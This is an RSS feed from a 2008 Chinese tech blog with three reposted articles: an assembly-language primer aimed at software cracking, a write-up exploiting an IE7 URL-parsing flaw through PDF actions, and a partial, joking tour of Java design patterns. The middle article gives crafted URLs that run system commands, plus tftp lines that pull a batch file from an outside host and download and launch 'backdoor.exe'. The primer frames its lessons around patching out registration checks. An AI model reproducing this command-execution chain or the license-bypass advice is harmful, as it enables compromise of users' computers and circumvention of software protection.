﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-viking'blog-随笔分类-技术分享</title><link>http://www.blogjava.net/viking/category/32602.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 13 Jul 2008 06:27:40 GMT</lastBuildDate><pubDate>Sun, 13 Jul 2008 06:27:40 GMT</pubDate><ttl>60</ttl><item><title>给新手引路-浓缩汇编基础（转）</title><link>http://www.blogjava.net/viking/archive/2008/07/13/214570.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sun, 13 Jul 2008 04:53:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/13/214570.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214570.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/13/214570.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214570.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214570.html</trackback:ping><description><![CDATA[<p>前言: <br />
&nbsp;&nbsp; 写这篇文章出于个人兴趣,要先声明的是本人能力是非常有限！其中参考了许多文章！由于无法提供更多的信息教程,所以文章题目才叫做"给新手引路 之 浓缩汇编基础"。主要讲的是破解中所要的一些汇编知识,方便新手们理解,我将用比较通俗的语言讲述！希望大家别说我"低级"&nbsp;&nbsp;&nbsp; - -b <br />
&nbsp;&nbsp; 写此文的理由:&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; 1、出于兴趣 <br />
&nbsp;&nbsp;&nbsp;&nbsp; 2、助于自己学习巩固,利于新手 <br />
&nbsp;&nbsp; 注: <br />
&nbsp;&nbsp;&nbsp;&nbsp; 本文并不教如何编写汇编程序,只想引新手们进Crack大门,一些迟迟无法Crack成功的人也就是这个原因了! <br />
&nbsp;&nbsp;&nbsp;&nbsp; 最好是能抛砖引玉了,勾起新手们学习汇编的兴趣! <br />
&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp; 重要一点是:不懂汇编是完全没办法搞Crack的,希望大家带着这点来学习! </p>
<p><br />
----------------------------------------------------------------------------------------------- <br />
1.0 关于汇编语言 <br />
&nbsp;&nbsp; 汇编语言是创造出来代替原始的只能由处理器理解的二进制代码的,也就是在OD中常见的机器码!用机器码来写程序,可以想象其难度吧,所以汇编语言就出现了,汇编代码是直接描述处理器可以执行的代码,也就是在OD中最常见的反汇编代码了!(当然,有点不一样),而汇编语言是和cpu相关的,和机器语言是一一对应的! </p>
<p>2.0 关于cpu <br />
&nbsp;&nbsp; CPU的任务就是执行存放在存储器里的指令序列。为此，除要完成算术逻辑操作外，还需要担负CPU和存储器以及I/O之间的数据传送任务。早期的CPU芯片只包括运算器和控制器两大部分。到了近几年，为了使存储器速度能更好地与运算器的速度相匹配，又在芯片中引入了高速缓冲存储器（知道为什么P4比P4赛扬贵那么多了吧?）。 <br />
&nbsp;&nbsp; 看主要的部件: <br />
&nbsp;&nbsp; 1.算术逻辑部件ALU（arithmetic logic unit）用来进行算术和逻辑运算。这部分与我们的关系不太大，我们没必要管它。&nbsp; <br />
&nbsp;&nbsp; 2.控制逻辑。同样与我们的关系不大。&nbsp; <br />
&nbsp;&nbsp; 3.工作寄存器。意识了吧,寄存器呀!喂,,寄存器呀!~ </p>
<p>3.0 寄存器 <br />
&nbsp;&nbsp; 所要了解的是8个32位的寄存器,分别是eax,ebx,ecx,edx,esp,ebp,edi,esi <br />
&nbsp;&nbsp; eax-edx这四个是通用寄存器,虽然各个都有各自的用途,不过你可以用它们来做任何事!是32位的,自然有低位和高位,我们又可以通过ax,bx,cx,dx来访问其低十六位,但高十六位是无法访问的!比如eax=12345678h,那么低十六位ax=5678h!而十六位的自然也有低位和高位,不过高八位是可以访问的,如ax可以分为ah和al,看字面就知道,ah(high)高八位,al就为低八位了!前面的例子,ax=5678h,那么ah=56h,al=78h!这四个寄存器主要是用来暂放计算结果或什么什么的! <br />
&nbsp;&nbsp; esp-esi这四个主要是寻址时用来存放偏移或指针,所以,也就称为指针寄存器或变址寄存器了~如在OD中看到的[eax],其实eax中存放的是一个内存地址,而实际要访问的是那个内存地址里的内容! <br />
&nbsp;&nbsp; esp(堆栈指针寄存器): <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很重要的一个概论,堆栈有着先进后出的特点，就好像有一个圆柱形的筒子,该直径刚好是一个乒乓球的直径,所以最先放进去的球当然会最后出来.而esp呢,永远是指着最顶的那个球的,也就是永远都指向栈顶!在od中也很常见了,比如push和pop就是对栈的操作,push把一个数据压入栈中,也就是把一个球放进去,再去调用push时就再放进一个,而esp则指向第二个放进去的那个球了!使用pop呢就从栈中弹出一个数据,前面说了,堆栈有着先进后出的特点,所以用pop呢就从最后放进去的那个球先出了(除非你破坏筒子(破坏堆栈?那是不可能的,程序马上死给你看))!而esp还是指向栈顶! <br />
&nbsp;&nbsp; 取个代码例子: <br />
&nbsp;&nbsp; (1) mov ecx, 100&lt;---------100传入ecx <br />
&nbsp;&nbsp; (2) mov eax, 200&lt;---------200传入eax <br />
&nbsp;&nbsp; (3) push eax &lt;------------ecx先进了 <br />
&nbsp;&nbsp; (4) push ecx&lt;-------------再来是eax <br />
&nbsp;&nbsp; (5) pop ebx&lt;--------------从栈顶取出一个,也是最后进去的那一个,结果存到ebx <br />
&nbsp;&nbsp; (6) pop ecx&lt;--------------从栈顶取出一个,也就是刚刚先进去的那个了,结果存到ecx <br />
最后ebx=200,ecx=100 <br />
&nbsp;&nbsp; 到了win32的平台下,api大家都知道了吧!api的参数都是靠堆栈来传递的,比如说一个FindWindow,在C里我这样调用 <br />
-&gt;::FindWindow(NULL,"a")-&gt;而反汇编之后在系统底层反汇编代码就象这个样子: <br />
&nbsp;&nbsp; push xxxxxxxx-&gt;xxxxxxxx为"a"的内存地址 <br />
&nbsp;&nbsp; push yyyyyyyy-&gt;yyyyyyyy为空中止字符串的指针 <br />
&nbsp;&nbsp; call zzzzzzzz-&gt;调用FindWindow <br />
&nbsp;&nbsp; 而在call里面先使用pop弹出先前压入栈的参数再使用 </p>
<p>&nbsp;&nbsp; ebp(基址指针寄存器): <br />
&nbsp;&nbsp; 它称为基址指针寄存器，它们都可以与堆栈段寄存器SS(堆栈段)联用来确定堆栈中的某一存储单元的地址，ESP用来指示段顶的偏移地址，而EBP可作为堆栈区中的一个基地址以便访问堆栈中的信息。 </p>
<p>&nbsp;&nbsp; ESI（源变址寄存器）和EDI（目的变址寄存器）一般与数据段寄存器DS联用，用来确定数据段中某一存储单元的地址。这两个变址寄存器有自动增量和自动减量的功能，可以很方便地用于变址。 </p>
<p>&nbsp;&nbsp; 还有两个专用寄存器,分别是eip和flags <br />
&nbsp;&nbsp; flags: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个是标志寄存器了,存放条件标志码、控制标志和系统标志的寄存器!在od中也见很多了,比如zf(零标志),用cmp比较时,把两个操作数相减,为0就置zf为1,否则zf为0。而jnz就是看zf是否为0,为0就跳!这样说起来似乎更乱了,建议大家去记那些大于就跳,小于就跳的,比较简单(jnz就是不相等就跳)``哦呵呵!!至于其它标志,这里不再阐述了,可以去参看汇编速查! <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp eax,ebx&lt;-比较eax和ebx,两个相减,为0的话zf就为一,否则zf为0 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz xxxxxxx&lt;-判断zf是否为0,为0就跳到xxxxxxx处,也就是所谓的不相等就跳 </p>
<p>&nbsp;&nbsp; eip(指令指针寄存器): <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个很好理解,根据od来说,载入一个程序后,比如代码像这样: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C412 &gt;/$Content$nbsp;&nbsp; 55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp; ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-载入后停在这,看寄存器窗口eip这时为43c412 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C413&nbsp;&nbsp; |.&nbsp;&nbsp; 8BEC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ebp, esp&nbsp;&nbsp;&nbsp;&nbsp; &lt;-f8运行一步之后,eip为43c413 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C415&nbsp;&nbsp; |.&nbsp;&nbsp; 6A FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp; -1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-eip为43c415 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0043C417&nbsp;&nbsp; |.&nbsp;&nbsp; 68 C8B64800&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp; 0048B6C8&nbsp;&nbsp;&nbsp;&nbsp; &lt;-eip为43c417 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有人会说"原来eip是指示当前执行到代码处的地址的!"&nbsp;&nbsp; ,这不对!!因为f8运行还没通过那条代码,所以还不算已经执行了,没错,eip指向的就是下一条将要执行的指令的指针! </p>
<p><br />
段寄存器:<br />
&nbsp;&nbsp;&nbsp;&nbsp; cs代码段,ds数据段,ss堆栈段,es附加段<br />
&nbsp;&nbsp;&nbsp;&nbsp; 在Win32编程中段的概念已经不重要了!而在Crack时你总不会是在调是dos时代的程序吧!-!</p>
<p>4.0 常用汇编指令<br />
&nbsp;&nbsp; mov ax,cx&nbsp;&nbsp; &lt;-很常用了,把cx的值送入ax中,cx值保持不变<br />
&nbsp;&nbsp; cmp eax,ecx&lt;-很常见了吧,比较eax和ecx,置标志位!方法前面说过了<br />
&nbsp;&nbsp; xor eax,eax&lt;-看这个,eax与自己异或,是清零的操作!<br />
&nbsp;&nbsp; lea eax,str&lt;-并不传送数据,只传送该数据的地址,将str字符串的地址传到eax<br />
&nbsp;&nbsp; push eax&nbsp;&nbsp;&nbsp; &lt;-进栈操作,前面说过了,eax进栈<br />
&nbsp;&nbsp; pop&nbsp;&nbsp; ebx&nbsp;&nbsp;&nbsp; &lt;-出栈操作,前面也说了,弹出位于栈顶的数据存入ebx<br />
&nbsp;&nbsp; ADD 加法指令 格式:ADD DST，SRC 执行的操作：(DST)&lt;-(SRC)+(DST) <br />
&nbsp;&nbsp; SUB 减法指令 格式:SUB DST，SRC 执行的操作：(DST)&lt;-(DST)-(SRC) <br />
&nbsp;&nbsp; MUL 无符号乘法指令 格式: MUL SRC&nbsp;&nbsp; 执行的操作：字节操作(AX)&lt;-(AL)*(SRC)；字操作(DX,AX)&lt;-(AX)*(SRC)；双字操作：(EDX,EAX)&lt;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (EAX)*(SRC) <br />
&nbsp;&nbsp; DIV 无符号除法指令 格式:DIV SRC&nbsp;&nbsp; 执行的操作:字节操作：16们被除数在AX中，8位除数为源操作数，结果的8位商在AL中，8位余数在AH中&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 。表示为： <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (AL)&lt;-(AX)/(SRC)的商，(AH)&lt;-(AX)/(SRC)的余数。字操作:32位被除数在DX,AX中。其中DX为高位字，16位除数为源操作数，结果的16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 位商&nbsp;&nbsp; 在AX中，16位余数在DX中。表示为：(AX)&lt;-(DX,AX)/(SRC)的商，(DX)&lt;-(DX,AX)/(SRC)的余数。<br />
&nbsp;&nbsp; nop&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-&nbsp;&nbsp; 无操作,去掉指令用的吧!去掉一个跳转,让程序直接往下走,就到注册成功处啦(扯远了````)<br />
&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;- 调用子程序或函数用的</p>
<p>&nbsp;&nbsp; 关于跳转指令，可以查看汇编速查手册,别强迫自己把所有的都一下记住,浪费精力,不懂时再查一下，久了就记住了!<br />
&nbsp;&nbsp; <br />
5.0 高级语言程序的汇编浅解析<br />
&nbsp;&nbsp; 汇编语言要和硬件直接打交道,写病毒是方便点啦!!而在高级语言中,如C中我们要面向的是问题的解决,对于硬件资源操作,编译器搞定了!在这里稍微讲一下高级语言中与反汇编代码相应的一些地方:<br />
&nbsp;&nbsp; 1、定义变量<br />
&nbsp;&nbsp;&nbsp;&nbsp; int a;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 一个变量其实是存放在一个内存地址里,如果对a进行赋值"a=10",在反汇编中就有可能表现为:<br />
&nbsp;&nbsp;&nbsp;&nbsp; mov word ptr[007e58c2],A<br />
&nbsp;&nbsp;&nbsp;&nbsp; 像这个样子,而a所对应的内存地址就是0x007e58c2了,当然是乱写的一个地址而已,系统怎样分配?(天知道...)</p>
<p>2、比如一个数组<br />
&nbsp;&nbsp;&nbsp;&nbsp; char str[]="hello";<br />
&nbsp;&nbsp;&nbsp;&nbsp; 占用了6个字节,最后一个是以0结尾的空字节,数组名可以当做数组的指针!str[0]='h',str[0]相应一个变量地址,比如为[0040e123],那么[0040e124]就为'e',[0040e125]就为'l'....了`</p>
<p>3、指针<br />
&nbsp;&nbsp;&nbsp; char *p;<br />
&nbsp;&nbsp;&nbsp; 指针也是一个变量,所以它也对应一个内存地址!但访问时应该是访问其指向的内存地址的内容,而不是这个指针变量的内容,其内容只是一个地址而已!假如该指针变量地址为007e1000,那么语句p=a,这句在高级语言里是让指针p指向a这个内存单元!p里的内容是a的地址,*p实际上是a的内容了!而反汇编有可能表现成这样:<br />
&nbsp;&nbsp; mov [007e1000],007e2000&lt;-假如007e2000为变量a的地址,那么就是把a的地址传到007e1000这个内容里了!</p>
<p>4、函数调用<br />
&nbsp;&nbsp; sub(a,b);<br />
&nbsp;&nbsp; 假如sub是自定义的一个减法函数,作用为参数一减去参数二,上面语句为在C中调中时传递参数!前面有说过了,Win32平台下函数调用的参数是通过堆栈来传递的,那么反汇编就是:<br />
&nbsp;&nbsp; (假如a=2,b=1)<br />
&nbsp;&nbsp; mov eax,2<br />
&nbsp;&nbsp; mov ebx,1<br />
&nbsp;&nbsp; push eax<br />
&nbsp;&nbsp; push ebx<br />
&nbsp;&nbsp; call 取地址(sub)<br />
&nbsp;&nbsp; .......<br />
-----------------------------------------------------------------------------------------------</p>
<p>&nbsp;&nbsp; 好了,最后感谢大家能看完这篇了了草草的东西,我也回顾了不少知识!在本人能力范围内的事不知道对新手们有没有帮助,还有一点要提醒各位新手,如果真想学好Crack学通Crack这门知识的话,不完全了解汇编是不行的！所以在看了我这篇之后如果能激起你学汇编的信心是最好的！要不等到Crack遇到什么问题时才再想回过头学汇编，那很难!~</p>
<p>本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处：http://www.520hack.com/Article/Text2/200807/10672.html</p>
<img src ="http://www.blogjava.net/viking/aggbug/214570.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-13 12:53 <a href="http://www.blogjava.net/viking/archive/2008/07/13/214570.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于URL解析漏洞在PDF文档中的利用(转)</title><link>http://www.blogjava.net/viking/archive/2008/07/13/214569.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sun, 13 Jul 2008 04:51:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/13/214569.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/214569.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/13/214569.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/214569.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/214569.html</trackback:ping><description><![CDATA[<div class="ContentFont" id="NewaspContentLabel" style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px"><font id="font_word" style="font-size: 14px; font-family: 宋体, Verdana, Arial, Helvetica, sans-serif">
<p>右键另存再打开测试文档，否则会调用IE的插件打开，测试会失败。如果你硬要通过点击打开的话，点击这里吧,嘿嘿，这本身也是IE的一个解析漏洞。</p>
<p>在<a href="http://seclists.org/fulldisclosure/2007/Oct/0068.html">http://seclists.org/fulldisclosure/2007/Oct/0068.html</a>看到这个漏洞的时候，一时还没有想到怎么利用。后来结合去年有一个关于pdf actions安全隐患的这么一个问题（参看<a href="http://michaeldaw.org/md-hacks/backdooring-pdf-files/">http://michaeldaw.org/md-hacks/backdooring-pdf-files/</a>），pdf中的actions中打开页面的事件刚好可以用来利用。</p>
<p>Petko Petkov之前放出话说pdf的0day应该也就是指的是这个漏洞了。利用这个漏洞首先需要安装IE7，在URL解析时遇到百分号（%）会执行后面的程序。放出来的利用方式为：</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/calc.exe".cmd
            http:%xx../../../../../../../../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/calc.exe".
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>利用这种URL咱们可以执行系统中的任意命令了，但是有一点用处的系统命令都得加参数才能用啊。怎么加入参数呢？反正放在.cmd前就行，但是必须放在引号（"）后面，呵呵，其实没的选。经过测试，下面的语句就ok了：<br />
</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/net.exe" &#8220;user&#8221;.cmd
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>要有多个参数的话就的</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%../../../../<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>/system32/xxx.exe" &#8220;argv1&#8221; &#8221;argv2&#8220;.cmd
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>到这里，基本上大家也就有了利用办法了，网络COPY命令，TFTP等都行啊。不过得分两步：</p>
<p>1.下载程序<br />
2.执行程序</p>
<p>还有一点要注意的，最好在打开页面事件和关闭页面时间中加入上面两步，以免因为网速问题造成程序执行不成功。</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            mailttest%..\..\..\..\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\tftp.exe" "-i" "zwell.3322.org"
            "GET" "a.bat" "c:\a".cmd
            mailttest%..\..\..\..\<a class="wordstyle" href="http://www.hack58.net/" target="_blank">windows</a>\system32\cmd.exe" "/c c:\a".cmd
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>在zwell.3322.org上我搭建了一个TFTP服务器，里面放有一个a.cmd，内容就是再去下载执行一个程序。</p>
<p>在pdf打开首页时执行第一条指令，下载服务器上的a.bat，保存为a.cmd（为什么是cmd，大家可以思考一下）。</p>
<p>在离开该页面时，再执行已经下载的a.cmd，其实他是个bat文件，内容是：</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1">
    <tbody>
        <tr>
            <td class="code" bgcolor="#e6e6e6">
            <pre>以下是代码片段：
            cmd /c tftp -i zwell.3322.org GET backdoor.exe c:\b.exe
            start c:\b.exe
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<p>好了，现在下载了backdoor.exe程序（这只是一个notepad程序，我重命名了）并且执行了。</p>
</font></div>
<img src ="http://www.blogjava.net/viking/aggbug/214569.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-13 12:51 <a href="http://www.blogjava.net/viking/archive/2008/07/13/214569.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>从追MM谈Java的23种设计模式（转）</title><link>http://www.blogjava.net/viking/archive/2008/07/06/212924.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sun, 06 Jul 2008 15:10:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/06/212924.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/212924.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/06/212924.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/212924.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/212924.html</trackback:ping><description><![CDATA[从追MM谈Java的23种设计模式
<p>　　1、FACTORY—追MM少不了请吃饭了，麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西，虽然口味有所不同，但不管你带MM去麦当劳或肯 德基，只管向服务员说&#8220;来四个鸡翅&#8221;就行了。麦当劳和肯德基就是生产鸡翅的Factory.</p>
<p>　　　　工厂模式：客户类和工厂类分开。消费者任何时候需要某种产品，只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点 是当产品修改时，工厂类也要做相应的修改。如：如何创建及如何向客户端提供。</p>
<p>　　程序代码</p>
<p>　　以下是引用片段：</p>
<p>
<table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
    <tbody>
        <tr>
            <td style="word-wrap: break-word" bgcolor="#f3f3f3"><font style="font-weight: bold; color: #990000">以下是引用片段： </font><br />
            public&nbsp;class&nbsp;Factory{ <br />
            　　　　　　public&nbsp;String&nbsp;Boy&nbsp;=&nbsp;"boy"&nbsp;; <br />
            　　　　 　　public&nbsp;String&nbsp;Girl&nbsp;=&nbsp;"girl"&nbsp;; <br />
            　　　　　　public&nbsp;People&nbsp;getPeople (String&nbsp;people){ <br />
            　　　　　　　　if&nbsp;(people.equals("boy")){ <br />
            　　　　　　　　　　return&nbsp;new&nbsp;Boy(); <br />
            　　　　　　　　}else&nbsp;if(people.equals("girl")){ <br />
            　　　　　　　　　　return&nbsp;new&nbsp;Girl(); <br />
            　　　　　 　　　} <br />
            　　　　　　} <br />
            　　　　}</td>
        </tr>
    </tbody>
</table>
</p>
<p>　　2、BUILDER—MM最爱听的就是&#8220;我爱你&#8221;这句话了，见到不同地方的MM,要能够用她们的方言跟她说这句话哦，我有一个多种语言翻译 机，上面每种语言都有一个按键，见到MM我只要按对应的键，它就能够用相应的语言说出&#8220;我爱你&#8221;这句话了，国外的MM也可以轻松搞掂，这 就是我的&#8220;我爱你&#8221;builder。(这一定比美军在伊拉克用的翻译机好卖)</p>
<p>　　 建造模式：将产品的内部表象和产品的生成过程分割开来，从而使一个建造过程生成具有不同的内部表象的产品对象。建造模式使得 产品内部表象可以独立的变化，客户不必知道产品内部组成的细节。建造模式可以强制实行一种分步骤进行的建造过程。</p>
<p>　　3、FACTORY METHOD—请MM去麦当劳吃汉堡，不同的MM有不同的口味，要每个都记住是一件烦人的事情，我一般采用Factory Method模 式，带着MM到服务员那儿，说&#8220;要一个汉堡&#8221;，具体要什么样的汉堡呢，让MM直接跟服务员说就行了。</p>
<p>　　　　工厂方法模式：核心工厂类不再负责所有产品的创建，而是将具体创建的工作交给子类去做，成为一个抽象工厂角色，仅负责给出 具体工厂类必须实现的接口，而不接触哪一个产品类应当被实例化这种细节。</p>
<p>　　4、PROTOTYPE—跟MM用QQ聊天，一定要说些深情的话语了，我搜集了好多肉麻的情话，需要时只要copy出来放到QQ里面就行了，这就是 我的情话prototype了。(100块钱一份，你要不要)</p>
<p>　　　　原始模型模式：通过给出一个原型对象来指明所要创建的对象的类型，然后用复制这个原型对象的方法创建出更多同类型的对象。 原始模型模式允许动态的增加或减少产品类，产品类不需要非得有任何事先确定的等级结构，原始模型模式适用于任何的等级结构。缺点是每 一个类都必须配备一个克隆方法。</p>
<p>　　5、SINGLETON—俺有6个漂亮的老婆，她们的老公都是我，我就是我们家里的老公Sigleton，她们只要说道&#8220;老公&#8221;，都是指的同一个 人，那就是我(刚才做了个梦啦，哪有这么好的事) </p>
<p>&nbsp;</p>
<p>　　　　单例模式：单例模式确保某一个类只有一个实例，而且自行实例化并向整个系统提供这个实例单例模式。单例模式只应在有真正的 &#8220;单一实例&#8221;的需求时才可使用。</p>
<p>　　以下是引用片段：</p>
<p>
<table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
    <tbody>
        <tr>
            <td style="word-wrap: break-word" bgcolor="#f3f3f3"><font style="font-weight: bold; color: #990000">以下是引用片段：</font><br />
            　　　　public　class&nbsp;SingLeton{ <br />
            　　　　　　private&nbsp;static&nbsp;SingLeton&nbsp;instance&nbsp;=&nbsp;new&nbsp;SingLeton(); <br />
            　　　　　　public&nbsp;static&nbsp;SingLeton&nbsp;getInstance(){ <br />
            　　　　　　　　return&nbsp;instance; <br />
            　　　　　　} <br />
            　　　　}</td>
        </tr>
    </tbody>
</table>
</p>
<p>　　6、ADAPTER—在朋友聚会上碰到了一个美女Sarah，从香港来的，可我不会说粤语，她不会说普通话，只好求助于我的朋友kent了，他 作为我和Sarah之间的Adapter，让我和Sarah可以相互交谈了(也不知道他会不会耍我)</p>
<p>　　　　适配器(变压器)模式：把一个类的接口变换成客户端所期待的另一种接口，从而使原本因接口原因不匹配而无法一起工作的两个类 能够一起工作。适配类可以根据参数返还一个合适的实例给客户端。</p>
<p>　　7、BRIDGE—早上碰到MM，要说早上好，晚上碰到MM，要说晚上好;碰到MM穿了件新衣服，要说你的衣服好漂亮哦，碰到MM新做的发型， 要说你的头发好漂亮哦。不要问我&#8220;早上碰到MM新做了个发型怎么说&#8221;这种问题，自己用BRIDGE组合一下不就行了</p>
<p>　　桥梁模式：将抽象化与实现化脱耦，使得二者可以独立的变化，也就是说将他们之间的强关联变成弱关联，也就是指在一个软件系统的 抽象化和实现化之间使用组合/聚合关系而不是继承关系，从而使两者可以独立的变化。</p>
<p>　　8、COMPOSITE—Mary今天过生日。&#8220;我过生日，你要送我一件礼物。&#8221;&#8220;嗯，好吧，去商店，你自己挑。&#8221;&#8220;这件T恤挺漂亮，买，这 条裙子好看，买，这个包也不错，买。&#8221;&#8220;喂，买了三件了呀，我只答应送一件礼物的哦。&#8221;&#8220;什么呀，T恤加裙子加包包，正好配成一套呀， 小姐，麻烦你包起来。&#8221;&#8220;&#8230;&#8230;&#8221;，MM都会用Composite模式了，你会了没有?</p>
<p>　　　　合成模式：合成模式将对象组织到树结构中，可以用来描述整体与部分的关系。合成模式就是一个处理对象的树结构的模式。合成 模式把部分与整体的关系用树结构表示出来。合成模式使得客户端把一个个单独的成分对象和由他们复合而成的合成对象同等看待。</p>
<p>　　9、DECORATOR—Mary过完轮到Sarly过生日，还是不要叫她自己挑了，不然这个月伙食费肯定玩完，拿出我去年在华山顶上照的照片， 在背面写上&#8220;最好的的礼物，就是爱你的Fita&#8221;，再到街上礼品店买了个像框(卖礼品的MM也很漂亮哦)，再找隔壁搞美术设计的Mike设计了一 个漂亮的盒子装起来&#8230;&#8230;，我们都是Decorator，最终都在修饰我这个人呀，怎么样，看懂了吗?</p>
<p>　　　　装饰模式：装饰模式以对客户端透明的方式扩展对象的功能，是继承关系的一个替代方案，提供比继承更多的灵活性。动态给一个 对象增加功能，这些功能可以再动态的撤消。增加由一些基本功能的排列组合而产生的非常大量的功能。</p>
<p>　　10、FA&#199;ADE—我有一个专业的Nikon相机，我就喜欢自己手动调光圈、快门，这样照出来的照片才专业，但MM可不懂这些，教了半天也 不会。幸好相机有Fa&#231;ade设计模式，把相机调整到自动档，只要对准目标按快门就行了，一切由相机自动调整，这样MM也可以用这个相机给我 拍张照片了。 </p>
<p>&nbsp;</p>
<p>　　　　门面模式：外部与一个子系统的通信必须通过一个统一的门面对象进行。门面模式提供一个高层次的接口，使得子系统更易于使用 。每一个子系统只有一个门面类，而且此门面类只有一个实例，也就是说它是一个单例模式。但整个系统可以有多个门面类。</p>
